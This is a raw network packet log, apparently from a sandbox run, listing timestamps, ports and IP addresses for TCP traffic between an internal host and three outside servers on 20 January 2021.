Jan 20, 2021 16:14:30.088948011 CET	3388	49178	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:30.089123011 CET	49178	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:30.090960979 CET	49178	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:30.101533890 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.101571083 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.101726055 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.102169037 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.102252007 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.103137016 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.104357004 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.109122038 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.109196901 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.110193968 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.110311031 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.111342907 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.111402988 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.112437963 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.112519979 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.118541956 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.119745016 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.119869947 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.120760918 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.120937109 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.121967077 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.122494936 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.127942085 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.128086090 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.129013062 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.129091978 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.134494066 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.134625912 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.134957075 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.135030031 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.137291908 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.137397051 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.138371944 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.138438940 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.141993046 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.142092943 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.143168926 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.143719912 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.149288893 CET	3786	49177	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:30.182666063 CET	3786	49177	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:30.182691097 CET	3786	49177	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:30.182813883 CET	49177	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:30.191076994 CET	49177	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:30.257802963 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.259485006 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.259991884 CET	3388	49178	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:30.260107994 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.260205030 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.260288000 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.261068106 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.261837006 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.262164116 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.262243986 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.263293028 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.263374090 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.264419079 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.265041113 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.265572071 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.265806913 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.266623020 CET	3388	49178	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:30.266647100 CET	3388	49178	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:30.266758919 CET	49178	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:30.266835928 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.267956018 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.268009901 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.269248009 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.269349098 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.270418882 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.271539927 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.271749020 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.272677898 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.272878885 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.273811102 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.274933100 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.276221991 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.276304960 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.277498960 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.278645992 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.279517889 CET	49178	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:30.279532909 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.279582024 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.279599905 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.281219959 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.282322884 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.283499956 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.283593893 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.284591913 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.285747051 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.285965919 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.286849976 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.287945032 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.288625956 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.289110899 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.289202929 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.290330887 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.290424109 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.291409016 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.291548014 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.292574883 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.292721987 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.293731928 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.293809891 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.294883013 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.295134068 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.296164989 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.296825886 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.297295094 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.297398090 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.298281908 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.298362017 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.299361944 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.299539089 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.300463915 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.300549984 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.301634073 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.301774979 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.302777052 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.302913904 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.379808903 CET	3786	49177	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:30.381519079 CET	49177	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:30.395370007 CET	49177	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:30.395577908 CET	49177	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:30.415580988 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.415761948 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.416477919 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.417360067 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.417581081 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.418793917 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.418852091 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.420197010 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.420665026 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.420981884 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.424638033 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.424664021 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.425935030 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.426004887 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.426971912 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.427967072 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.428054094 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.428462982 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.431762934 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.432064056 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.432754040 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.433031082 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.434007883 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.434089899 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.435121059 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.435174942 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.437228918 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.437280893 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.438235998 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.438297033 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.439307928 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.440421104 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.442303896 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.447088003 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.448204994 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.448268890 CET	3388	49178	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:30.448354959 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.448962927 CET	3388	49178	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:30.449038029 CET	49178	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:30.449327946 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.450531960 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.450601101 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.454195023 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.455287933 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.456435919 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.456515074 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.457557917 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.458636045 CET	49178	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:30.458669901 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.458813906 CET	49178	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:30.459517002 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.459567070 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.460694075 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.461023092 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.461800098 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.462954998 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.464070082 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.464139938 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.465183973 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.466346025 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.467474937 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.467535019 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.468597889 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.469712973 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.470832109 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.470889091 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.472006083 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.472058058 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.473161936 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.474236012 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.475385904 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.475464106 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.476557016 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.476906061 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.477710962 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.478836060 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.478909969 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.480052948 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.481102943 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.481123924 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.482264042 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.482321024 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.483392954 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.485826015 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.573724985 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.574755907 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.575643063 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.575891972 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.576014996 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.577063084 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.577145100 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.579523087 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.579591990 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.580673933 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.581794977 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.582932949 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.583024979 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.583391905 CET	3786	49177	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:30.584000111 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.584094048 CET	49177	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:30.584104061 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.585257053 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.588211060 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.589708090 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.589988947 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.590357065 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.590450048 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.591527939 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.592894077 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.595097065 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.595613003 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.596134901 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.596570969 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.597242117 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.597373009 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.598571062 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.599175930 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.601984024 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.603183031 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.603287935 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.604896069 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.605818033 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.605901957 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.614485025 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.614509106 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.614521027 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.614594936 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.614923000 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.615150928 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.621073961 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.622154951 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.622164965 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.622538090 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.623305082 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.623472929 CET	3786	49177	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:30.623539925 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.624373913 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.624435902 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.627641916 CET	3388	49178	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:30.627726078 CET	3388	49178	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:30.627784014 CET	49178	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:30.630516052 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.630609035 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.631607056 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.631839991 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.632826090 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.633018970 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.633816004 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.634510040 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.634974957 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.635279894 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.636107922 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.636168003 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.637226105 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.637370110 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.638355017 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.638427019 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.639552116 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.639610052 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.640662909 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.641339064 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.641908884 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.642051935 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.642905951 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.643013954 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.648869991 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.649642944 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.649947882 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.650007963 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.651078939 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.651156902 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.652220964 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.652529955 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.658291101 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.658349991 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.659329891 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.659400940 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.660438061 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.660744905 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.665971041 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.666058064 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.667474031 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.667532921 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.668699026 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.668875933 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.669761896 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.670427084 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.670901060 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.671020031 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.676858902 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.676919937 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.678072929 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.678894997 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.679187059 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.679347992 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.680221081 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.680701971 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.686547041 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.686693907 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.687520981 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.689004898 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.692292929 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.692382097 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.692948103 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.693155050 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.694140911 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.694242001 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.695219994 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.695293903 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.696382999 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.697506905 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.698663950 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.698673964 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.699764013 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.699845076 CET	49176	80	192.168.2.22	64.37.52.138
